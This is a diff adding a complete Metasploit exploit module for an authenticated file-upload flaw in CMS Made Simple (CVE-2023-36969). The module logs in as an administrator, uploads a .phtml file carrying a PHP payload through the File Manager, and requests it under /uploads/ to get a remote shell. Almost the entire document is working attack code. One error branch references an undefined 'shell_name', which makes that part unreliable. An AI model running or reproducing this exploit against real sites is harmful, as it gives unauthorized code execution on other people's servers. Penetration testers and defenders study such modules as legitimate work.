|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::PhpEXE |
| 11 | + prepend Msf::Exploit::Remote::AutoCheck |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'CmsMadeSimple Authenticated File Manager RCE', |
| 18 | + 'Description' => %q{ |
| 19 | + CMS Made Simple <= v2.2.21 allows an authenticated administrator to upload files |
| 20 | + with the .phar or .phtml extensions, enabling execution of PHP code |
| 21 | + leading to RCE. The file can be executed by accessing its URL in the |
| 22 | + /uploads/ directory. |
| 23 | +
|
| 24 | + Tested on v2.2.21, v2.2.18, v2.2.17, v2.2.16, v2.2.15, v2.2.14. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => [ |
| 28 | + 'Okan Kurtuluş', # Initial research |
| 29 | + 'Mirabbas Ağalarov', # EDB PoC |
| 30 | + 'tastyrice' # Metasploit Module |
| 31 | + ], |
| 32 | + 'References' => [ |
| 33 | + ['CVE', '2023-36969'], |
| 34 | + ['EDB', '51600'] |
| 35 | + ], |
| 36 | + 'Platform' => ['php'], |
| 37 | + 'Arch' => ARCH_PHP, |
| 38 | + 'Targets' => [ |
| 39 | + [ |
| 40 | + 'Universal', {} |
| 41 | + ] |
| 42 | + ], |
| 43 | + 'Privileged' => false, |
| 44 | + 'DisclosureDate' => '2023-06-07', |
| 45 | + 'DefaultTarget' => 0, |
| 46 | + 'Notes' => { |
| 47 | + 'Stability' => [CRASH_SAFE], |
| 48 | + 'Reliability' => [REPEATABLE_SESSION], |
| 49 | + 'SideEffects' => [IOC_IN_LOGS] |
| 50 | + } |
| 51 | + ) |
| 52 | + ) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('TARGETURI', [true, 'Base directory path for cmsms', '/']), |
| 57 | + OptString.new('USERNAME', [true, 'Username to authenticate with', '']), |
| 58 | + OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) |
| 59 | + ] |
| 60 | + ) |
| 61 | + end |
| 62 | + |
| 63 | + def multipart_form_data(uri, data, message) |
| 64 | + send_request_cgi( |
| 65 | + 'uri' => normalize_uri(target_uri.path, 'admin', uri), |
| 66 | + 'method' => 'POST', |
| 67 | + 'data' => data, |
| 68 | + 'ctype' => "multipart/form-data; boundary=#{message.bound}", |
| 69 | + 'keep_cookies' => true |
| 70 | + ) |
| 71 | + end |
| 72 | + |
| 73 | + def check |
| 74 | + res = send_request_cgi( |
| 75 | + 'uri' => normalize_uri(target_uri.path, '', 'index.php'), |
| 76 | + 'method' => 'GET' |
| 77 | + ) |
| 78 | + unless res && res.code == 200 |
| 79 | + vprint_error('Connection Failed') |
| 80 | + return CheckCode::Unknown |
| 81 | + end |
| 82 | + |
| 83 | + set_cookie = res.get_cookies |
| 84 | + return CheckCode::Safe unless set_cookie&.match?(/^CMSSESSID/) |
| 85 | + |
| 86 | + html = res.get_html_document |
| 87 | + version = Rex::Version.new(html.at('p.copyright-info').text.scan(/\d+\.\d+\.\d+/).first) |
| 88 | + vprint_status("#{peer} - CMS Made Simple Version: #{version}") |
| 89 | + |
| 90 | + return CheckCode::Appears if version <= Rex::Version.new('2.2.21') |
| 91 | + |
| 92 | + CheckCode::Detected |
| 93 | + end |
| 94 | + |
| 95 | + def login |
| 96 | + data = { |
| 97 | + 'username' => datastore['USERNAME'], |
| 98 | + 'password' => datastore['PASSWORD'], |
| 99 | + 'loginsubmit' => 'Submit' |
| 100 | + } |
| 101 | + res = send_request_cgi( |
| 102 | + 'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'), |
| 103 | + 'method' => 'POST', |
| 104 | + 'vars_post' => data, |
| 105 | + 'keep_cookies' => true |
| 106 | + ) |
| 107 | + fail_with(Failure::NoAccess, 'Authentication was unsuccessful') unless res&.code == 302 && cookie_jar.cookies && res.headers['Location'] =~ %r{/admin$} |
| 108 | + |
| 109 | + store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) |
| 110 | + vprint_good("#{peer} - Authentication was successful") |
| 111 | + end |
| 112 | + |
| 113 | + def send_file |
| 114 | + filename = "#{rand_text_alpha(8..12)}.phtml" |
| 115 | + c = cookie_jar.cookies.find { |cookie| cookie.name == '__c' }.value |
| 116 | + payload = get_write_exec_payload(unlink_self: true) |
| 117 | + |
| 118 | + # create the message with payload |
| 119 | + message = Rex::MIME::Message.new |
| 120 | + message.add_part('FileManager,m1_,upload,0', nil, nil, 'form-data; name="mact"') |
| 121 | + message.add_part(c, nil, nil, 'form-data; name="__c"') |
| 122 | + message.add_part('1', nil, nil, 'form-data; name="disable_buffer"') |
| 123 | + message.add_part(payload, nil, nil, "form-data; name=\"m1_files[]\"; filename=\"#{filename}\"") |
| 124 | + data = message.to_s |
| 125 | + |
| 126 | + # send payload |
| 127 | + payload_res = multipart_form_data('moduleinterface.php', data, message) |
| 128 | + fail_with(Failure::UnexpectedReply, 'Failed to upload the file') unless payload_res && payload_res.code == 200 |
| 129 | + vprint_good("#{peer} - File uploaded #{filename}") |
| 130 | + |
| 131 | + # open shell |
| 132 | + res = send_request_cgi( |
| 133 | + 'uri' => normalize_uri(target_uri.path, 'uploads', filename), |
| 134 | + 'method' => 'GET' |
| 135 | + ) |
| 136 | + return unless res && res.code == 404 |
| 137 | + |
| 138 | + print_error("Shell #{shell_name} not found") |
| 139 | + end |
| 140 | + |
| 141 | + def exploit |
| 142 | + login |
| 143 | + send_file |
| 144 | + end |
| 145 | +end |
0 commit comments